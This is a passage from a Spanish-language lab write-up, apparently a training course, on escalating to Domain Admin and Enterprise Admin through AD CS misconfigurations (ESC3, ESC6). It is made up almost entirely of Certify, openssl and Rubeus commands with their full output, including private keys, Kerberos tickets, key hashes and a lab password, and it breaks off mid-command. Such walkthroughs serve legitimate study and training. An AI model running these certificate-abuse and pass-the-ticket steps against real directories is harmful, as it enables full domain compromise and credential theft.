doIG4jCCBt6gAwIBBaEDAgEWooIFxjCCBcJhggW+MIIFuqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD T1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gxpkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOC BWIwggVeoAMCARKhAwIBAqKCBVAEggVM4IrTL6IPZvBf0Zt1RTDeHkow8LG1eUGbLuAQa1xChyniBdeB ZyQYpbluQ57AHwCYfLLSai0pxDyZnCeqeAQqmykcTsoJYoJC3QUA7+VKF2yA+lvsml5f0UHKAFUfCSxy WyN0H4URDV6Y2QFogEDj+KI4zKzZNZWT+OjS1i3DBJi9Ew/xYTT69YaXvFEOVHTwSbrOY9ktQxZVsJqz aSgQ0suBiMjTZk/jIzvQZIysjK7nxRC/wMVcyjkBtqT4IFPhhrzuEsiezxofSVQM8uMEZoDnZHjIAEW0 t65Su1YC1JNvvtpu7CK1O/q0wRu9kgJfKYVf9TlJ2fDSkND/EodLEl1C1ra6ejKSSF6ojq1ftYaGBIpG i/vy1ClpKhNCZ9Fqn3MiQL1sr9CcByrWypJXExm+pAJw1y7DKtp1jKc46uhIMY0+sb1PGZKH1Rnv9IOn xaiHpI+ORXd+hArbSzdKAzHODmo3QNLuKJ7JCnXVW55W6ZwW4v9ZbZYEM4T8CvU1s00KKoX8vj9508p4 ysDFzk4T4QVCu1we1RaYX3JqytCwjlMV/CCKpM+V9II6qGdV9UXEklpiuMuBFOwDZyXDfaRNR2Jxiukt 9y5zU9qQpHcu4679DVuKJMz98vQuOwQxkUD1gZKHvgdek25FKGu6Sj3+Ojtxm44hed2LrS6rDyrzXy5V JwADOkh2LlZQ2lEj7sWl6YqNZ/oLCCDt5Sc8fWptWBp6UMQudF+vfybQENqkdA37F+XEJ/AoIKQfb8H6 LC4bSCqED3UCsEOK96+6TJZZBWRPoMEYs3ZCuyyn8RuDAG6sfJIEfzVpQhPAH6s5eQ8kd7Ty4W2L0qe+ HBN6XTz+zrI0KjRDVwyMc3pdyZxUQJEEiDCgq9JfJT2QTZLSuifmTlSrKASv5Mst1HIVpNtj5HW63idD SQ+jSHgHeBm0CAhHZLgDVY4P2xFlIw/Z0rYPEnAqxBmqGPrkEc3E70lQJXkEprawNVmEKyia6nF2LBOl K0zIBYW2qvMT+ZFk8lmbpFSRDIH2a+1mNE3ncgki4BW+b0ovHTJtnLlUR3LxcRs+UiP1vffhZajdyBnF HTWGZkIsJt5WU1mi64Nf5HF56gZ4S1ObDbTfNdqmCduxwHDQ5eFqRtezaOyRyV39D1T8T2GhppShlWcT 7eG/8YOXoTvuBzWorWz3LUnvCJ3Xk5A+RaYjKognHvqYMj8GmT2V3AUL4EqEr78wFYS8nrfKSucvLfAb JtynbONcvsGhzneyEUvtvYQPFtezqv971Nia7Ar+jqvDYTHdZnwBP/Jm/QGG1s1gIOecFYuLGojouU1e 9FS49Eu9JmO0cNiWt0EcBppTVcb0rANMuQHtdni+FAyQB/0rpLGnhc4VS3LI7MTpLlTacg/EBxMY7H5A YchoPmWUJJ88yUSmiw1UufXPnmhXA2sNbjFPvYaTu/tm6RpWScqiiITQwVRCCoGv8n95P+EAX2F+GeK3 gqhrYMYmBt0EsO0yBfXe6ozIpYBwaCl8/7LBZ9fFFa60DwvGY492DM75b5CbplUMk32Fx/yeGuwIySxT Kej2y7kSzXmDiOQp20Nja1VQemyHMqXmlPuwQvggw3PzE+6Gh/O4ilAlkodb+b/3laexmo4HveiV8RBe 75v3YnffrcT/xFdkU8JqReYr+kuvgT+j4qzqvWFKsX4Kt9fB22uGjLAU730oAWXGXkI0BbqGdHFe0AFG GPP2ausbGXMP5zE6B4myRK+t6XACIkpo8WrUrR6lYDkF9j+8LaYRSoMmZMbhlhUVvOKfN7drKQQmnC4h o4IBBjCCAQKgAwIBAKKB+gSB932B9DCB8aCB7jCB6zCB6KAbMBmgAwIBF6ESBBBKX+Bwv3tKP9/SStey RIxvoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRv cqMHAwUAQOEAAKURGA8yMDI0MDMwNDE0NDgxNFqmERgPMjAyNDAzMDUwMDQ4MTRapxEYDzIwMjQwMzEx MTQ0ODE0WqgcGxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKkvMC2gAwIBAqEmMCQbBmtyYnRndBsa ZG9sbGFyY29ycC5tb25leWNvcnAubG9jYWw= [+] Ticket successfully imported! ServiceName : krbtgt/dollarcorp.moneycorp.local ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL UserName : administrator UserRealm : DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/4/2024 6:48:14 AM EndTime : 3/4/2024 4:48:14 PM RenewTill : 3/11/2024 7:48:14 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : Sl/gcL97Sj/f0krXskSMbw== ASREP (key) : 58B85F272C982B60EB11A37B72D188F3 PS C:\AD\Tools\openssl> ``` Verificamos que tenemos acceso. ``` PS C:\AD\Tools\openssl> ls \\dcorp-dc\C$ Directory: \\dcorp-dc\C$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/14/2022 10:12 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 3/4/2024 6:11 AM Users d----- 1/10/2024 12:59 AM Windows PS C:\AD\Tools\openssl> Enter-PSSession -Computername dcorp-dc [dcorp-dc]: PS C:\Users\Administrator\Documents> whoami dcorp\administrator [dcorp-dc]: PS C:\Users\Administrator\Documents> hostname dcorp-dc [dcorp-dc]: PS C:\Users\Administrator\Documents> ``` ## Escalacion a Enterprice Admin Con el archivo esc3agent.pfx generado anteriormente, solicitamos un certificado de nuevo. ``` PS C:\AD\Tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:mcorp\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123 _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] Template : SmartCardEnrollment-Users [*] On Behalf Of : mcorp\administrator [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 30 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAxi4Jch9h1sz4IHPyrvhw6Kk188lfzepHfOFVGMLu9iWxWiqv O2ULTu17OXhXTKNJ7/UQrUBZxWKVZPWv2E8HFCurruD0G4QPMTkDgPm8TZL437xg ykE205K1LdvBxqC6DnfogfR7wB2sk3S7TO0LZNT/dt1QaDhGjilarHo7As8XXWfF pjrJzt2H4pR/n0DUBzEsr9RLsQgBEItpYE61kOiHvI4HgBzz56+bTzjBJUz2/Pzy H9lGzXym1oqtCZ+OKeDgUPMt0JgnOvjcI0QGK4CNyVHoaTaUZLLA3DqMNrHZgLmy oFKhgnZ9RAC/OZFMTS4WNAxUCJGwh6iVdwMaDQIDAQABAoIBAF92c6Rei5Gd4HQ5 hhBUqobYY53QRe75yH/WR1iLJfK6C2lkoE5bCQx3BuGTH3JSQd5tzR+3nMahC1e7 pX3r63wC4Ut3Hv9WKL9MOGzbX6J6hpm3s2QZ7+AQjmfNsNUOPTGU/xICg83yPVw2 YbbXhKKIm5pVV1MssIfwUbY9lsltwUsg7zMHEYSaBkFix/fRIcGQ+UW4V7rzFj3d qigfpeO1JnA2xRz3gceNi/gb9znBOPx0j14n7tYAck4y4UE1Ymf42LCZdveL7/m4 H7KyV37BhmJFl/EP54ERIUCiUL8naoDUJ7z+Ow+zgRZUU7vxkC9LSrgvC9K1+A6g vyxzF10CgYEA3aA5bgLf7xzJ31d1CqDUKOAkHIP2dWzC09a2AKbkafcDRGij95RO EqI/U80FjrfybCl+e3diVPqs9aFdJ653SceToyk9sAhlUB8mBFBG2xOm8ZOl2pTq 1SBbCFj/TL5rf2MK2iQrwNvzOoHTNDD0Y5AwjSOCcZOpcl3Z5rWO3pMCgYEA5Orf 6EQw5p5setYoPpm3G0f8GZjEtgF+BVANvEy0X3lWMu2Q7lv0IK9TftcxeaDeMIId EKmfLsG2+x44F3ehtsUP1q7x9x7F/ntTOZDqKKS1AQiDE46jkL6d0HP1CQM5mVdw i8dVLDJNkkM9q/zBPMZ3WApekKkyd+mPQQD+6N8CgYAsr4ek1NOOBMH3VEz3DaJ5 c2gUj877sig+SkZ8LypS60kvW+Hjo3VycGBQZ0A9nH02rc8g2dtrwvdot1ZvD9Bh geoUtdYITkkPNJiXug/vUDES+HAyeGA5BMMWFcu0D5jhIHkprq1bv311SIPrPAuq n4IKkyRT/i/mLWIoEGd0HQKBgG/rzfFXdbkrd8pO7no82WODPGSfZn2+GQkr7KtF rWKIhnZ75EJFvwRD9EStncjjt/5rfx5ocCWCHJ6GVdJTcUNU8bt66V5zM0aKsVQR 4ApjDQQmTz++m4XnTG1gZEs1wnGQaLxOhvwG1BpQudRezXOTbUIkP7vmnYA3Nw0H GZptAoGANjvHmK7AYApsr9LJaGiN3G4BH4g66MFU6Yr7FMIHT5Y8EqWBcjsMCn0B 3kvOw+TUPWYIbtWPCanRb+YhgWMWRm0q0tWDgwtruT4ALQd6QDrlGAu4ypFV4Mj0 JaDILhOhbFzBTjXO76/5YxsbAje4SrGYukHh9XN5aRkN7YZzI2U= -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGYTCCBUmgAwIBAgITFQAAAB72ASdAO29fkgAAAAAAHjANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDQx NTE2NDNaFw0yNjAzMDQxNTI2NDNaMFoxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEOMAwGA1UEAxMFVXNlcnMxFjAUBgNV BAMTDUFkbWluaXN0cmF0b3IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDGLglyH2HWzPggc/Ku+HDoqTXzyV/N6kd84VUYwu72JbFaKq87ZQtO7Xs5eFdM o0nv9RCtQFnFYpVk9a/YTwcUK6uu4PQbhA8xOQOA+bxNkvjfvGDKQTbTkrUt28HG oLoOd+iB9HvAHayTdLtM7Qtk1P923VBoOEaOKVqsejsCzxddZ8WmOsnO3YfilH+f QNQHMSyv1EuxCAEQi2lgTrWQ6Ie8jgeAHPPnr5tPOMElTPb8/PIf2UbNfKbWiq0J n44p4OBQ8y3QmCc6+NwjRAYrgI3JUehpNpRkssDcOow2sdmAubKgUqGCdn1EAL85 kUxNLhY0DFQIkbCHqJV3AxoNAgMBAAGjggMmMIIDIjA9BgkrBgEEAYI3FQcEMDAu BiYrBgEEAYI3FQiF4ahyh8yfaOGHJoKfrlGC8vZ9gT+GtKVfh7r6GAIBZAIBCTAp BgNVHSUEIjAgBggrBgEFBQcDBAYKKwYBBAGCNwoDBAYIKwYBBQUHAwIwDgYDVR0P AQH/BAQDAgeAMDUGCSsGAQQBgjcVCgQoMCYwCgYIKwYBBQUHAwQwDAYKKwYBBAGC NwoDBDAKBggrBgEFBQcDAjAdBgNVHQ4EFgQUSFsyoApfVaR3I4BsP6t6vT6ndfUw HwYDVR0jBBgwFoAU0f6NCqf6tDKfNvwguPfLnmjFRe0wgdgGA1UdHwSB0DCBzTCB yqCBx6CBxIaBwWxkYXA6Ly8vQ049bW9uZXljb3JwLU1DT1JQLURDLUNBLENOPW1j b3JwLWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2 aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1vbmV5Y29ycCxEQz1sb2NhbD9jZXJ0 aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp YnV0aW9uUG9pbnQwgcsGCCsGAQUFBwEBBIG+MIG7MIG4BggrBgEFBQcwAoaBq2xk YXA6Ly8vQ049bW9uZXljb3JwLU1DT1JQLURDLUNBLENOPUFJQSxDTj1QdWJsaWMl MjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERD PW1vbmV5Y29ycCxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xh c3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA4BgNVHREEMTAvoC0GCisGAQQBgjcU AgOgHwwdYWRtaW5pc3RyYXRvckBtb25leWNvcnAubG9jYWwwTAYJKwYBBAGCNxkC BD8wPaA7BgorBgEEAYI3GQIBoC0EK1MtMS01LTIxLTMzNTYwNjEyMi05NjA5MTI4 NjktMzI3OTk1MzkxNC01MDAwDQYJKoZIhvcNAQELBQADggEBAD+O48hX4Hq0kOgT xJh2+T9VfZs4NOk0MmzDzmhvOR1GxXsGzjQ0V9dUQjc8kWdqLQu+KGPuM0na1yKv xQ7whHTX6XOSOy0j3tJqskzFF7sGmr49fd/G8Ch/DRCctETnpYmFlme2RzD9Viht x6PI5ZICx1Idd8Bh/R6Jle7C3871ingPbIBimuGoYMJPtnSSRi6dpbq6A67q1QIG CAZkhg+iVIkxj8+2ktYQer7Ph5owFGug3pDKcWfvEw9NO4nbDDGU/XKVoOJEBu/o gPO+wNmW/abq0eJwyUXCmw5ZpHMquoySjtKKcL5WB1kdtMFjl/OuE2Ls5VaD5qNR 2DRbl2k= -----END CERTIFICATE----- ``` Guardamos cert.pem en un archivo y volvemos a convertir a pfx. ``` PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3user.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: PS C:\AD\Tools\openssl> ``` Ahora, usamos Rubeus para cargar el pfx y obtener un ticket para administrator. ``` PS C:\AD\Tools\openssl> ..\Rubeus.exe asktgt /user:moneycorp.local\administrator /certificate:esc3user.pfx /dc:mcorp-dc.moneycorp.local /password:SecretPass@123 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=moneycorp, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\administrator' [*] Using domain controller: 172.16.1.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): 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 [+] Ticket successfully imported! ServiceName : krbtgt/moneycorp.local ServiceRealm : MONEYCORP.LOCAL UserName : administrator UserRealm : MONEYCORP.LOCAL StartTime : 3/4/2024 7:32:24 AM EndTime : 3/4/2024 5:32:24 PM RenewTill : 3/11/2024 8:32:24 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : k2JTw+0tX/nDY1q8p5OQXA== ASREP (key) : DD25ADB77E7B591EE7AE44FB9E931596 ``` Y luego podemos validar que el ticket funciona correctamente. ``` PS C:\AD\Tools\openssl> ls \\mcorp-dc\c$ Directory: \\mcorp-dc\c$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/10/2022 9:53 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 11/11/2022 6:33 AM Users d----- 1/10/2024 1:35 AM Windows PS C:\AD\Tools\openssl> Enter-PSSession -Computername mcorp-dc [mcorp-dc]: PS C:\Users\Administrator\Documents> whoami mcorp\administrator [mcorp-dc]: PS C:\Users\Administrator\Documents> hostname mcorp-dc [mcorp-dc]: PS C:\Users\Administrator\Documents> ``` # AD CS - ESC6 ## Escalacion de Domain Admin La plantilla "CA-Integration" permite la inscripción del grupo RDPUsers. Realizamos una solicitud de un certificado para DA (o EA) como student723. ``` PS C:\ad\tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"CA-Integration" /altname:administrator _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] No subject name specified, using current context as subject. [*] Template : CA-Integration [*] Subject : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] AltName : administrator [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 35 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA1iZ4dT7lOMIikGv3fnyFUA0rJ7lRZIe/YqRzkxAMKQrBiw5q MR4JHkdGaE7azxKKVEOj8MQiZCbChhJ/dfys7E/MlaPFKLEJ9QwhfV/C/wTwdrO6 prxZfFN9lbK5GfUAz1bVCwEJr5VNV+QnAaBQQdJ8OmE0/8e08Wohi1baS2vbJ0vw 3YXOhujLAMWh8D0wzW0vkp0gxve1Ca6suwkvAd0nRRvMp8OSRRRWtlouRSZvDHk+ NRYVB2hnjWxTN4SP4xcigWb1TvKV2HfMmRkcRO5kvXzz4wOTMTnBTIz0YCNvkDPh cvfgTcLNlNFGf50ThbrlX/KVUErHV03ud6nlAQIDAQABAoIBABSqGa2WqB/V++fb w0IdWe/jlWp743LD9p/aJpzmS4YaV5rHhU/ACjk1v4GJOmwI6fg/nq44/uiTJOoz FsGX5EfZW3CFIR1QGBnhVcn3V6WsIFgT98rnGet5UwEDAgGTNsTLKDurmferfI8i oPDzO0teuEYZ4zdbWgaBq0L62o20aXSnP97t0PHRkfz9levHKXxZ9xbOri2oRsyN /nJndXYXLl+5HmtzAY8NiFKWzxrVjRWuzD01ezkSjo9CvXFw6Wj9ObUi0IZh8lR7 bl2oDjoF3+9NyJonLDsXlF3iLnuSQBszRsXOL1xCIoUnuw3C+9pLMw7/VF+4m+zt BFxy79ECgYEA811MGZzvXUtQY6Mj+EIabbaPYSYamZKRkWtp6RKpFPUQ5+vaAQws Zi/ZRlNvj69iDjZkQ505nCisEO6WbH/F2mIJgiOmc83DmULLnpZjFir6yewWcFt/ /VGduR2ThxpCurzWUyjcyDWQ79EQoR4CaHDF2c9BI/dcxeGjs4esKXcCgYEA4UTe yZAGAyPaUG5TqPoyF/TihlZBO7wnIfch1FHU2oN2FfDWWpAJSXgzzYHg/1kucOXL EHPYPqLqA/daz7emTh7SQOXobv84rFWkSsnwpQaESNZZucasSyKnOf8amzAmghXH X5yl0JZvH19E7bNK79jsFa1rMZaVH9bHz1yCA0cCgYBlCpVwBPJ037IuzCtBBeEH MEbzZOiiXnJF2D0O4gqFgwJT6F6JFM7SVod1ZWrqUzz4/ag/UmX66gAWv5iAz8QL 2axs9fREHGhbl5oG7BWTvKCHeZgPak4HlP1RQHBiJYsTERhDSrHwBh15FGo9GsKR LlFXD2/SSP+hwP9AqNHYHQKBgQDSN5jH9DUIHR8Py8UafVDd9lKmFjwN6ImEMsFJ B4xg1ikOVI9UN/HSs+9zqe4znB+wj2CuW8zCtvk29k+yY6k4YZ7HnUUIv/c9KzaD 7Gs7NReheRaGPRZvj0kK4DsN8yMcZgKGAQLj4l6Uoi0KvTQDGyVFHW5Y+jLzYVVY 9vUE5QKBgEsYnROcFB9NTQmXrM61QjbbNlp7OSKrsphTa666t2JtptFSU6Y/eAuY eZO/2Npw4dDJfNphoXY3M73uW3RRcZRB8B+1k09K41ZrNf9EBJ1kYBz5b6+4rYIp Tn3MP+gmVNotd9t+Yr4a3ruPQEenjdz5oGV8w1ROofJpYado9sU0 -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGsjCCBZqgAwIBAgITFQAAACMNkAZZnzrqQQAAAAAAIzANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDUw MzA1MThaFw0yNTAzMDUwMzA1MThaMHMxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEaMBgGCgmSJomT8ixkARkWCmRvbGxh cmNvcnAxDjAMBgNVBAMTBVVzZXJzMRMwEQYDVQQDEwpzdHVkZW50NzIzMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1iZ4dT7lOMIikGv3fnyFUA0rJ7lR ZIe/YqRzkxAMKQrBiw5qMR4JHkdGaE7azxKKVEOj8MQiZCbChhJ/dfys7E/MlaPF KLEJ9QwhfV/C/wTwdrO6prxZfFN9lbK5GfUAz1bVCwEJr5VNV+QnAaBQQdJ8OmE0 /8e08Wohi1baS2vbJ0vw3YXOhujLAMWh8D0wzW0vkp0gxve1Ca6suwkvAd0nRRvM p8OSRRRWtlouRSZvDHk+NRYVB2hnjWxTN4SP4xcigWb1TvKV2HfMmRkcRO5kvXzz 4wOTMTnBTIz0YCNvkDPhcvfgTcLNlNFGf50ThbrlX/KVUErHV03ud6nlAQIDAQAB o4IDXjCCA1owPAYJKwYBBAGCNxUHBC8wLQYlKwYBBAGCNxUIheGocofMn2jhhyaC n65RgvL2fYE/gsD8U/nBbgIBZAIBDDApBgNVHSUEIjAgBggrBgEFBQcDAgYIKwYB BQUHAwQGCisGAQQBgjcKAwQwDgYDVR0PAQH/BAQDAgWgMDUGCSsGAQQBgjcVCgQo MCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwQwDAYKKwYBBAGCNwoDBDBEBgkqhkiG 9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwBwYFKw4D AgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFHic4MQ6+euKJmU7XcLg4tIL3Jd5MCgG A1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1hZG1pbmlzdHJhdG9yMB8GA1UdIwQY MBaAFNH+jQqn+rQynzb8ILj3y55oxUXtMIHYBgNVHR8EgdAwgc0wgcqggceggcSG gcFsZGFwOi8vL0NOPW1vbmV5Y29ycC1NQ09SUC1EQy1DQSxDTj1tY29ycC1kYyxD Tj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049 Q29uZmlndXJhdGlvbixEQz1tb25leWNvcnAsREM9bG9jYWw/Y2VydGlmaWNhdGVS ZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBv aW50MIHLBggrBgEFBQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NO PW1vbmV5Y29ycC1NQ09SUC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIw U2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1tb25leWNv cnAsREM9bG9jYWw/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp ZmljYXRpb25BdXRob3JpdHkwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB oDAELlMtMS01LTIxLTcxOTgxNTgxOS0zNzI2MzY4OTQ4LTM5MTc2ODg2NDgtMTM2 MDMwDQYJKoZIhvcNAQELBQADggEBAGugedCoeY8SyrO7gcdDgpDU9xHFsFqwZpoM Vez6wEtl0fQCrwg4gpUk/UKISkFIfb3Pzns7QzQEkBDI8Yyg26bnGKAhcqsAYh+r 7oyppzlm3UbNb6XMp2DjBV/PfRKrRx5vPINeFJJ+pRH5e48X9+3QS0eV/hK6omeL Rb/PTdkhrHzVvIvh8miJBw81d5dA6KV+qgdevE4vGcYZpx0OFKNjQDkJdSMzlXJb nAB2F69SBq6dzDy9NO0uTl2Cqm5ETqhsQsA3d4rTy4FOc9vueF5+ZDuEfu6Eozwe zD286p2cxPHQQgM56iczoMui94++W+DQT236eJ0L/JCTASz/rwg= -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:10.4666049 PS C:\ad\tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc6.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: PS C:\ad\tools\openssl> ..\Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /password:SecretPass@123 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) 